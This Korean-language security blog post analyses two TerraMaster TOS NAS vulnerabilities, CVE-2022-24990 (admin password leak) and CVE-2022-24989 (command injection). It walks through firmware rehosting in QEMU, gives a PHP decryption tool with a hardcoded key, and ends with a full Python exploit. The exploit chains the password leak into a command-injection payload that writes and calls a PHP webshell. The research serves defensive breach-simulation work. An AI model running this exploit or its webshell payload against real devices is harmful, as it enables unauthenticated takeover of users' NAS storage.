Search

퍼플하운드 컨텐츠 개발을 위한 CVE-2022-24990 & CVE-2022-24989 N-Day 분석

태그
PurpleHound
Embedded
Property
Jeon_blog.png
목차
PH-Contents팀 TunaF연구원

소개

2022년에 옥타곤 네트웍스 연구원들이 발견한 TerraMaster사 NAS 장비의 웹 기반 OS인 TOS에서 아래와 같은 취약점이 발견이 되었습니다.
발견된 취약점:
1.
CVE-2022-24990 - 기밀 정보 유출
2.
CVE-2022-24989 - OS Command Injection
78리서치랩에서 개발중인 PurpleHound 서비스에 안정적으로 동작하는 공격 기술을 탑재하기 위해 PurpleHound 개발팀은 모든 공개된 취약점 PoC에 대해서 실증 검증을 실시하고 있으며, 컨텐츠 개발 업무는 환경 구축을 시작으로 취약점 원인 분석, POC 시험, 성공률 향상, 제품화 단계로 진행됩니다. 78리서치랩 PurpleHound 컨텐츠 개발팀은 PurpleHound 고객의 관점에서 중요한 모든 공개 취약점을 78리서치랩의 PurpleHound(BAS 솔루션)에 탑재하는 것을 목표로 매일 취약점 정보 수집 및 분석 업무를 수행하고 있습니다.
이 번 블로그에서는 CVE-2022-24990, CVE-2022-24989에 대해서 78리서치랩 PurpleHound 컨텐츠 개발 팀이 수행하는 공격 컨텐츠 개발 업무에서 취약점에 대한 분석 및 재현에 중심을 두고 설명하겠습니다.

환경 구축

공식 사이트에 펌웨어를 제공을 하고 있으며 펌웨어 리호스팅하여 POC 테스트를 진행합니다.
펌웨어 리호스팅이란? -별도의 하드웨어 없이 에뮬레이션이 가능하도록 하는 방법론을 말합니다.
구축 환경
Ubuntu 22.04.03
TOS 4.2.15
TOS - 웹 인터페이스를 기반으로 하는 TerraMaster 운영 체제(TOS)는 TNAS 장치용으로 설계된 운영체제입니다. - TNAS 장치에 TOS를 설치하고 초기화하면 로그인할 수 있습니다. - 해당 취약 펌웨어 버전은 공식 사이트 포럼을 통해서 다운받을 수 있습니다. - https://download2.terra-master.com/TOS_S2.0_Install_JM33_4.2.15_2107221409_2107221412.ins
binwalk & QEMU 등 설치
#binwalk 펌웨어 추출 설치 sudo apt-get install binwalk #QEMU 설치 sudo apt-get install qemu sudo apt-get install qemu-user-static sudo apt-get install qemu-system #dependencies 설치 sudo apt-get install libglib2.0 libglib2.0-dev sudo apt-get install autoconf automake libtool sudo apt-get install uml-utilities bridge-utils
Bash
복사
binwalk를 통해 펌웨어 추출
binwalk -Me TOS_S2.0_Install_JM33_4.2.15_2107221409_2107221412.ins
Bash
복사
-M : 파일 내에서 포함된 압축된 파일을 추출합니다.
-e : 추출된 파일들을 분석하여 추가적인 파일을 추출합니다.
펌웨어 추출을 하고 나면 리눅스 파일 시스템을 확인할 수 있습니다.
아키텍처 - AMD x86-64
qemu에 올리기 전에 busy를 통해 파일 시스템이 현재 어떤 아키텍처를 쓰고 있는지 확인을 합니다.
자동 실행 서비스 : nginx, php-fpm, TOSDeamon 서비스를 시작(해당 펌웨어에서 nginx 뿐만 아니라 httpd, apache2 웹 서비스도 설치가 되어 있었는데 Default로 nginx 웹 서비스로 동작을 하고 있습니다.)
init스크립트를 통해 어떤 서비스가 자동으로 올라가는지 확인을 합니다.
서비스 동작 포트 : 22/tcp, 8181/tcp, 5050/tcp
해당 서비스들이 몇 번 포트로 동작을 하는지 확인을 합니다.
웹 리소스 : 기본적으로 웹 서비스가 동작을 하기 때문에 특정 디렉토리에 웹 리소스가 존재합니다. 위 이미지에 웹 root 디렉토리 설정이 있는데 /usr/www/ 경로에 접근을 하면 웹 리소스가 있는 것을 확인할 수 있습니다.
.php 리소스가 있는 것을 확인이 되었고 암호화가 되어있는 것을 확인 할 수 있었습니다.
qemu에 올릴 최신 버전 kernel 설치 및 빌드합니다.
kernel 빌드를 위해 필요한 라이브러리 설치
sudo apt-get update sudo apt-get install git fakeroot build-essential ncurses-dev xz-utils libssl-dev bc flex libelf-dev bison qemu-system-x86
Bash
복사
kernel 아카이브 설치
wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.10.54.tar.xz tar xvf linux-5.10.54.tar.xz cd linux-5.10.54
Bash
복사
defconfig 설정
make defconfig make kvmconfig
Bash
복사
vi .config # Coverage collection. CONFIG_KCOV=y # Debug info for symbolization. CONFIG_DEBUG_INFO=y # Memory bug detector CONFIG_KASAN=y CONFIG_KASAN_INLINE=y # Required for Debian Stretch CONFIG_CONFIGFS_FS=y CONFIG_SECURITYFS=y
Bash
복사
make olddefconfig
Bash
복사
커널 빌드
make -j`nproc`
Bash
복사
좀 기다리면 ./arch/x86_64/boot/bzImage가 생성이 됩니다.
커널 파일 시스템 설정
sudo apt-get install debootstrap mkdir image && cd image wget https://raw.githubusercontent.com/google/syzkaller/master/tools/create-image.sh -O create-image.sh chmod +x create-image.sh ./create-image.sh
Bash
복사
create-image.sh 실행을 하니깐 추출한 파일 시스템 옮기는데 용량이 부족하다 에러가 발생할 수 있습니다. 아래 내용을 추가하면 해결할 수 있습니다.
vi create-image.sh seed = 20480
Bash
복사
qemu 실행
/*run.sh 파일 작성*/ qemu-system-x86_64 \ -m 2G \ -smp 2 \ -kernel $1/arch/x86/boot/bzImage \ -append "console=ttyS0 root=/dev/sda earlyprintk=serial net.ifnames=0 nokaslr" \ -drive file=$2/bullseye.img,format=raw \ -net user,host=10.0.2.10,hostfwd=tcp:127.0.0.1:10021-:22,hostfwd=tcp:127.0.0.1:8181-:8181,hostfwd=tcp:127.0.0.1:5443-:5443,hostfwd=tcp:127.0.0.1:5050-:5050 \ -net nic,model=e1000 \ -enable-kvm \ -nographic \ -pidfile vm.pid \ 2>&1 | tee vm.log
Bash
복사
m 2G: 가상 머신의 메모리를 2GB로 설정합니다.
smp 2: 가상 머신의 CPU 코어를 2개로 설정합니다.
kernel $1/arch/x86/boot/bzImage: 부팅에 사용할 커널 이미지를 지정합니다. $1은 변수로, 스크립트나 명령어 실행 시 첫 번째 입력 매개변수를 의미합니다.
append "console=ttyS0 root=/dev/sda earlyprintk=serial net.ifnames=0 nokaslr": 부팅에 사용될 커널에 전달되는 부가적인 매개변수들을 설정합니다. 이러한 매개변수는 부팅 프로세스에 대한 설정을 제어합니다.
drive file=$2/bullseye.img,format=raw: 가상 머신에 연결할 디스크 드라이브를 설정합니다. $2는 변수로, 스크립트나 명령어 실행 시 두 번째 입력 매개변수를 의미합니다. bullseye.img는 가상 디스크 이미지 파일의 경로입니다.
net user,host=10.0.2.10,hostfwd=tcp:127.0.0.1:10021-:22,hostfwd=tcp:127.0.0.1:8181-:8181,hostfwd=tcp:127.0.0.1:5443-:5443,hostfwd=tcp:127.0.0.1:5050-:5050: 사용자 모드 네트워킹을 설정하고, 호스트와 게스트 간의 포트포워딩을 설정합니다. 이를 통해 호스트의 특정 포트를 게스트의 포트로 연결할 수 있습니다.
net nic,model=e1000: 네트워크 인터페이스 카드를 설정합니다. 여기서는 모델로 e1000을 사용합니다.
enable-kvm: KVM (Kernel-based Virtual Machine) 가속화를 활성화합니다. 이를 통해 가상 머신의 성능을 향상시킵니다.
nographic: 그래픽 없는 모드로 가상 머신을 실행합니다. 즉, 텍스트 모드로만 실행됩니다.
pidfile vm.pid: 가상 머신의 PID를 저장할 파일을 지정합니다.
2>&1 | tee vm.log: 표준 에러 출력을 표준 출력으로 리디렉션하고, 표준 출력을 vm.log 파일에 저장합니다. 이를 통해 실행 중인 가상 머신의 로그를 기록할 수 있습니다.
sudo run.sh . ./image
Bash
복사
run.sh 실행을 합니다.
qemu에 접속을 하고 파일시스템 마운트를 해줍니다.
sudo mount -o bind /dev ./_0.extracted/dev sudo mount -t proc /proc ./_0.extracted/proc sudo mount -o bind /sys ./_0.extracted/sys sudo chroot ./_0.extracted/ /bin/bash
Bash
복사
-o bind: bind 마운트를 수행하는 옵션으로, 디렉토리나 파일을 다른 디렉토리에 별도로 연결합니다. 이를 통해 원본 파일 시스템의 내용을 수정하지 않고도 다른 위치에 동일한 파일 시스템을 마운트할 수 있습니다. • -t proc: 마운트할 파일 시스템의 유형을 지정하는 옵션으로, 여기서는 /proc 파일 시스템을 지정합니다. /proc 파일 시스템은 프로세스와 시스템 관련 정보를 제공하는 가상 파일 시스템입니다.
서비스를 시작합니다.
service nginx start >/dev/null 2>&1 service php-fpm start >/dev/null 2>&1 service tosdeamon start >/dev/null 2>&1
Bash
복사
웹 서비스 접근
웹 서비스에 접근을 하면 Forbidden 에러가 발생합니다. 해당 에러가 발생하는 이유는 /etc/nginx 웹 리소스 ROOT 디렉토리 경로에 index.php 혹은 index.html 파일이 존재하지 않아서 발생한 것을 알 수 있습니다.
페이지 확인
실제 웹 리소스 ROOT 디렉토리에 기존에는 index.php 파일이 있었으나 심볼릭이 정확하지 않은 것을 알 수 있습니다.
추측상 3.0(버전?) 폴더 심볼릭이 tos에 걸려 있었고 tos 폴더에도 마찬가지로 index.php 파일이 존재하는 것을 알 수 있었습니다. ./tos/index.php 파일이 메인 페이지인 것을 추측을 하였고 해당 페이지에 접근을 해보면 ‘/’ 경로로 다시 리다이렉션이 되는 것을 알 수 있었습니다. (⇒ 특정 조건에 맞지 않아 ‘/’ 경로로 리다이렉트가 되고 있다는 추측이 들었고 마찬가지로 해당 index.php도 암호가 되어 있어 자세히 어떤 코드인지는 복호화를 하지 않으면 알 수 없는 상태라 생각했습니다. 아무쪼록 사용자가 해당 페이지에 접근을 하면 접근과 동시에 웹서버는 해당 암호화되어 있는 리소스를 암호를 풀어서 사용자에게 서비스로 제공한다는 것을 추측할 수 있었습니다.
.php 복호화 관련은 해당 Furkan Göksel 기술 블로그를 참고하여 작업을 진행하였습니다.
/etc/php.ini 파일을 살펴보면 암호화하는 php_terra_master.so의 pm0screw_ext_fopen 함수가 암호화된 파일의 FILE 포인터를 인수로 받고 이 파일의 일반 텍스트 버전에 대한 FILE 포인터를 반환을 하는 것을 알 수 있었고 암호화는 해당 함수에서 시작되었음을 확인할 수 있었습니다.
screw_aes 함수는 암호화와 복호화를 수행하는 함수이고 첫 번째 매개변수가 플래그 역할을 수행하며, 해당 플래그 값에 따라 수행할 작업을 결정을 합니다.
dom2로 xor을 수행을 하는데 해당 xor 피연산자 값을 정확하게 모릅니다. 하지만, char 형으로 1바이트여서 0~255 브루트포싱을 수행하여 처음 16바이트의 해독된 형태에 <?php가 포함되어 있으면 됩니다.
복호화 도구
복호화 도구를 개발하기 위해서 “Reversing TerraMaster NAS Devices Decryption Routine” 블로그 내용을 기반으로 개발하였으며, 해당 복호화 코드에 대한 자세한 내용은 해당 블로그를 참고하시면 됩니다.
#include <stdio.h> #include <stdlib.h> #include "mbedtls/aes.h" #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #include <string.h> int main(int argc, char *argv[]){ struct stat info; mbedtls_aes_context ctx; FILE *filePtrRead,*filePtrWrite; char bufferTemp[255] = {0}; char iv[] = "842d42b98876f581"; char lenBuf[16]; char bruteForceContent[16]; int blockIndex = 0; //Encrypted filename filePtrRead = fopen(argv[1],"rb"); filePtrWrite = fopen("decrypted.php","wb"); fstat(fileno(filePtrRead), &info); char *fileContent = (char *) malloc(info.st_size*sizeof(char)); memset(fileContent,0x00,info.st_size); fread(fileContent,info.st_size,1,filePtrRead); fclose(filePtrRead); //MD5 hash of GH65Hws2jedf3fl3MeK mbedtls_aes_setkey_dec(&ctx, "842d42b98876f581f0dfbefb0cd2b5c3", 256); memcpy(bufferTemp,"842d42b98876f581f0dfbefb0cd2b5c3",strlen("842d42b98876f581f0dfbefb0cd2b5c3")); unsigned int fixContentIndex = 0x10; while ((int)fixContentIndex < info.st_size) { if ((int)fixContentIndex < 0x20) { lenBuf[fixContentIndex-16] = *(fileContent + fixContentIndex); } else { *(fileContent + fixContentIndex + -0x20) = *(fileContent + fixContentIndex); } fixContentIndex = fixContentIndex + 1; } int numberOfBlocks = info.st_size/16+(info.st_size%16 != 0); int decryptIndex = 0; char *fileContentPtr = fileContent; unsigned char byteValue = 0; for(int i = 0;i<256;i++,byteValue++){ blockIndex = 0; do{ *(bruteForceContent+blockIndex) = *(fileContent+blockIndex)^byteValue; blockIndex++; }while(blockIndex !=16); mbedtls_aes_crypt_cbc(&ctx, MBEDTLS_AES_DECRYPT, 16, bufferTemp, bruteForceContent, bruteForceContent); memcpy(bufferTemp,"842d42b98876f581f0dfbefb0cd2b5c3",strlen("842d42b98876f581f0dfbefb0cd2b5c3")); if(strstr(bruteForceContent,"<?php")){ break; } } printf("Correct byte value %d\n",(int) byteValue); while(decryptIndex< numberOfBlocks){ blockIndex = 0; do{ *(fileContent+blockIndex) = *(fileContent+blockIndex)^byteValue; blockIndex++; }while(blockIndex !=16); mbedtls_aes_crypt_cbc(&ctx, MBEDTLS_AES_DECRYPT, 16, bufferTemp, fileContent, fileContent); fileContent+=16; decryptIndex++; } fwrite(fileContentPtr,atoi(lenBuf),1,filePtrWrite); free(fileContentPtr); fclose(filePtrWrite); printf("Done\n"); return 0;
C
복사
암호화 로직을 분석한 결과 위 코드를 통해 복호화를 수행할 수 있습니다. 해당 소스에 대해 빌드 하는 방법은 아래와 같습니다.
필요 라이브러리 설치
git clone https://github.com/ARMmbed/mbedtls.git
Python
복사
pip3 install jsonschema pip3 install jinja2
Python
복사
빌드 관련 설정
cd mbedtls make make install export CFLAGS="-I/usr/local/include" export LDFLAGS="-L/usr/local/lib"
Python
복사
빌드
gcc -o decrypt decrypt.c -lmbedtls -lmbedcrypto
Python
복사
복호화 도구 실행
./decrypt [encrypto_php_file]
Python
복사
실행을 하면 정상적으로 복호화가 되어 <?php로 시작하는 것을 알 수 있습니다.
웹 리소스 전체 복호화 스크립트
import os import time def getAllSub(path, dirlist=[], filelist=[]): flist = os.listdir(path) for filename in flist: subpath = os.path.join(path, filename) if os.path.isdir(subpath): dirlist.append(subpath) getAllSub(subpath, dirlist, filelist) if os.path.isfile(subpath): filelist.append(subpath) return dirlist, filelist def getSufFilePath(fileList, suffix): for ff in fileList[:]: if not ff.endswith(suffix): fileList.remove(ff) def decryption(filename): head, tail = os.path.split(filename) filename2 = tail filename3 = "decrypted.php" path1 = head + "/" + filename2 print(f"{filename2}.php 파일을 복호화합니다.") os.system('./decrypt ' + path1) time.sleep(3) with open(filename3, 'rb') as p: if p.read(5) == b'<?php': p.close() os.system(f"mv {filename3} {path1}") print(path1) else: print(f"{filename2}.php 파일을 복호화 실패") if __name__ == "__main__": path = r'~/Desktop/CVE-2022-24990/_TOS_S2.0_Install_JM33_4.2.15_2107221409_2107221412.ins.extracted/_0.extracted/usr/www/' Dirlist, Filelist = getAllSub(path) getSufFilePath(Filelist, '.php') for FilePhp in Filelist: decryption(FilePhp)
Python
복사
해당 스크립트를 돌려서 nginx root direcotry인 www 폴더 안에 모든 암호화된 .php 파일을 복호화를 해줍니다.
실제 장비 시스템 환경과 몇 가지 다른 점이 있어 모든 서비스가 동작하지 않지만 POC 검증을 위해 필요한 최소한의 서비스만 코드를 조금 수정하여 테스트 환경 구축을 완료했습니다.
/module/api.php?mobile/webNasIPS
WebNasIPS 기능을 사용을 하면 위와 같이 에러가 발생한 것을 알 수 있습니다.
코드를 위와 같이 수정을 하면 정상적으로 기능 사용이 가능해집니다.
다시 WebNasIPS 기능을 사용해보면 mac주소, pwd 정보가 담기는 것을 볼 수 있습니다.
/module/api.php?mobile/createRaid
createRaid 기능을 사용을 하면 위와 같이 또 에러가 발생한 것을 알 수 있습니다,
코드를 위와 같이 수정을 하고 다시 기능을 사용을 하면 또 다른 에러가 발생한 것을 확인할 수 있습니다.
해당 에러를 해결하기 위해 위 이미지 분기문이 조건 만족하지 않아야하는데 해당 조건문을 분석을 해보면 tos_encrypt_str 함수에 대해서 알아야합니다. 해당 함수는 PHP 파일에 정의되어 있지 않고 로드된 사용자 정의 모듈인 php_terra_master.so에 정의되어 있는 것을 알 수 있었습니다.
MAC 주소 eth0을 가져오고 마지막 3바이트를 16진수로 반환을 합니다. 최종적으로 md5 해시함수 인자로 들어가는데 이때 v6 변수와 문자열을 합쳐서 md5 해시 함수화 합니다.
ex)mac 주소 : 00:0c:29:2d:ae:74, 사용자 입력 : XXXX ⇒md5(2dae74XXXX) ⇒5f85ba6b33bfcb4f431bbd06a4a45851
Plain Text
복사
HTTP 요청을 보낼시 요청 헤더에 위와 같이 설정을 해주면 정상적으로 요청을 수행하는 것을 알 수 있습니다.

원인 분석

TarraMaster TOS NAS 서비스에 인증 없이 접근할 수 있는 몇몇 기능들이 있습니다. 해당 기능에서 정보 노출(CVE-2022-24990) 및 OS Command Injection(CVE-2022-24989)을 통해 파일을 만들어서 RCE를 수행합니다.
정보 노출(CVE-2022-24990)
라우팅되는 코드를 보면 WebNasIPS, CreateRaid에는 어떠한 세션이 없이 접근이 가능한 리소스임을 알 수 있습니다.
해당 경로 http://192.168.220.140:8181/module/api.php?mobile/webNasIPS로 접근을 하면 로그인 과정 없이 접근이 가능하고 아래와 같은 응답 내용을 확인할 수 있습니다.
응답 내용에는 여러가지 정보 노출(hosname, ip, mac주소 등)이 되는 것을 볼 수 있습니다. 특히, PWD 필드에 관리자 비밀번호가 유출되는 것을 볼 수 있습니다.
PWD 관리자 패스워드 여부 확인
노출되는 데이터 중 PWD가 어디서 값이 불러와지는지 콜스택을 따라 분석을 해보면 최종적으로 _getpassword 함수의 반환 값이고 해당 함수에서 database에 보내는 query를 보면 usertable에 젤 상단 계정인 관리자 패스워드가 노출될 것을 확인할 수 있습니다.
OS Command Injection(CVE-2022-24989)
popen을 실행할 때 파라미터에 대한 검증을 수행하지 않고 사용자 입력값 인자($in)로 받아 함수를 실행하는 것을 볼 수 있습니다. 해당 부분에서 OS Command Injection 취약점이 발생합니다.
$in 배열이 어떻게 사용자 입력값으로 들어오는지 확인을 해보면 아래와 같습니다.
$in은 NetRouter() 함수를 호출을 하고 NewRouter() 함수를 보면 $_GET, $_POST 요청들에 대해서 모두 하나의 Params key의 배열에 다가 파라미터 변수 : 파라미터 값으로 저장하는 것을 확인할 수 있습니다.
헤더 검증 부분도 있기 때문에 아래와 같이 헤더를 더 추가를 해서 페이로드를 작성을 하면 됩니다.
$_POST[’raditype’] = ‘;echo “<?php phpinfo();?>” > vuln1.php’
bash나 sh 쉘에서는 ; 를 통해서 2개 명령어를 수행할 수 있으니 ; 을 넣어서 공격자가 원하는 쉘 명령어를 수행을 하면 됩니다.

Exploit

import time import requests import re import hashlib import sys def is_valid_url(url): url_pattern = re.compile( r'^(?:http|ftp)s?://' r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|' r'localhost|' r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})' r'(?::\d+)?' r'(?:/?|[/?]\S+)$', re.IGNORECASE) return re.match(url_pattern, url) is not None def poc_getinfo(target): headers = {"User-Agent": "TNAS"} payload = target + "/module/api.php?mobile/webNasIPS" try: req = requests.get(url=payload, headers=headers).content.decode("utf-8") if "successful" in req: parsed_data = json.loads(req) leak_data_value = parsed_data.get('data', '') if leak_data_value: poc_execute(req,target) else: sys.exit(-1) else: sys.exit(-1) except Exception as e: sys.exit(-1) def poc_execute(req,target): try: command = "ls -al && echo 78purplehound" webshell_filename = "78purplehound.php" req = str(req) mac = str(re.findall(r"ADDR:(.*?)\\", req)[0][-6:]) authorization = re.findall(r"PWD:(.*?)\\", req)[0] timestamp = str(int(time.time())) signature = hashlib.md5((mac + timestamp).encode("utf-8")).hexdigest() data = {"raidtype": f';echo "<?php system(\'{command}\');?>">{webshell_filename}', "diskstring": "XXXX"} headers = {"Authorization": authorization, "Signature": signature, "Timestamp": timestamp, "User-Agent": "TNAS"} payload = target+ '/module/api.php?mobile/createRaid' req2 = requests.post(url=payload,headers=headers,data=data).content.decode("utf-8") if "successful" in req2: response = requests.get(f"{target}/module/{webshell_filename}",headers=headers) if response.text.find("78purplehound") != -1: sys.exit(0) else: sys.exit(-1) else: sys.exit(-1) except Exception as e: sys.exit(-1) if __name__ == '__main__': target = "http://192.168.220.140:8181" if is_valid_url(target): poc_getinfo(target) else: sys.exit(-1)
Python
복사
POC를 실행을 시키면 OS Command Injection을 통해 공격자가 원하는 시스템 명령을 실행할 수 있습니다,

마치며

TerraMaster NAS 장비에서 발생한 CVE-2022-24990, CVE-2022-24989를 리호스트 기술을 통해 실제 환경처럼 구축을 하고 POC 검증 후 78PurpleHound BAS 제품에 탑재하였습니다.

참고자료